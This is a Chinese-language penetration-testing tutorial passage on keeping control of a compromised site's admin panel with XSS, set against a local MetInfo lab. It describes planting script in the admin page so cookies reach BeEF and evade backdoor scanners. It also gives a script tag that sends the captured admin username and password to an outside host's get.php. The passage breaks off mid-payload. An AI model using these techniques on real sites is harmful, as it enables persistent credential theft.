目录
【例1】:利用beef或xss平台实时监控Cookie等凭据实现权限维持
XSS的分类
反射型(非持久型)
存储型(持久型)
DOM型
MXSS(突变型XSS)
UXSS(通用型xss)
Flash XSS
上面这部分在上两篇文章讲过
UTF-7 XSS、MHTML XSS、CSS XSS、VBScript XSS,这几个基本上是淘汰的了,IE8之前才会受影响,没什么价值
XSS跨站-后台植入Cookie&表单劫持
- 条件:已经取得了web权限,要对后台的权限进行长期控制
1. 可以借助xss盗取cookie,把它写入到登录成功文件,利用beef或xss平台实时监控Cookie等凭据实现权限维持,这种方法即使管理员把后台账号密码改了,或者把后门删除了,也可以进行权限维持。(因为是插入的是xss-JavaScript语句,不会被后门工具识别)
2. 若存在同源策略或防护情况下,cookie获取失败或者密文密码解密不了,可以采用表单劫持或者通过数据明文传输来实现;
【例1】:利用beef或xss平台实时监控Cookie等凭据实现权限维持
1. 通过xxs平台或beef实时获取登录cookie
登录的框页面http://127.0.0.1:8105/admin/login/login.php
登录成功后会跳转到http://127.0.0.1:8105/admin/index.php?lang=cn 我们就可以在登录成功的admin/index.php里面,管理员进行登录时,就可以实时触发到xss平台或者BeEF获取到相关登录信息。
① 将跨站代码写入admin/index.php:

②成功登录网站后台
③打开beef,就可看到该主机已上线

可以观察到,他加载的数据包的内容

这样,只要登录成功就能获取,就能进行实时控制。进行了权限维持。
但是有一些网站不采用cookie,或者获取到的cookie不全,但是还是不能登录。
正常来讲,访问这个地址:http://127.0.0.1:8105/admin/index.php?lang=cn 进行抓包修改

有时候xss平台获取的cookie是不全的,或者说错误的。一般来说少了phpsessid (或者有防护httponly等)
那么就进行实时截取明文账号密码,这样才能进行权限维持。需要一定的代码基础,能读懂数据的传输流程。
2. 实时截取明文账号密码
主要解决两个问题: 1.cookie失败的时候(截取不到); 2.取得一些权限,密码解密不了
① 观察这个网站的登录流程是怎样的: 登录地址http://127.0.0.1:8105/admin/login/login.php 找到相对应的代码段D:\phpstudy_pro\WWW\xss-MetInfo5.1.4\admin\login\login.php 抓取登录的数据包

可以看到,他提交的数据包(账号、密码)是发送给了login_check.php文件

action=login&loginlang=login.php%3Flangset%3Dcn&login_name=admin&login_pass=admin&Submit=%E7%99%BB%E5%BD%95 再次观察login_check.php

接受账号密码的变量: 接受账号:metinfo_admin_name 接受密码:metinfo_admin_pass
② JavaScript语句将账号和密码进行发送:通过get.php来实现接收
<script src="http://www.xiaodi8.com/get.php?user="账号"\&pass"密码""></script>
在PHP中,JavaScript语句通过变量($up)来接收,构造payload:
up='\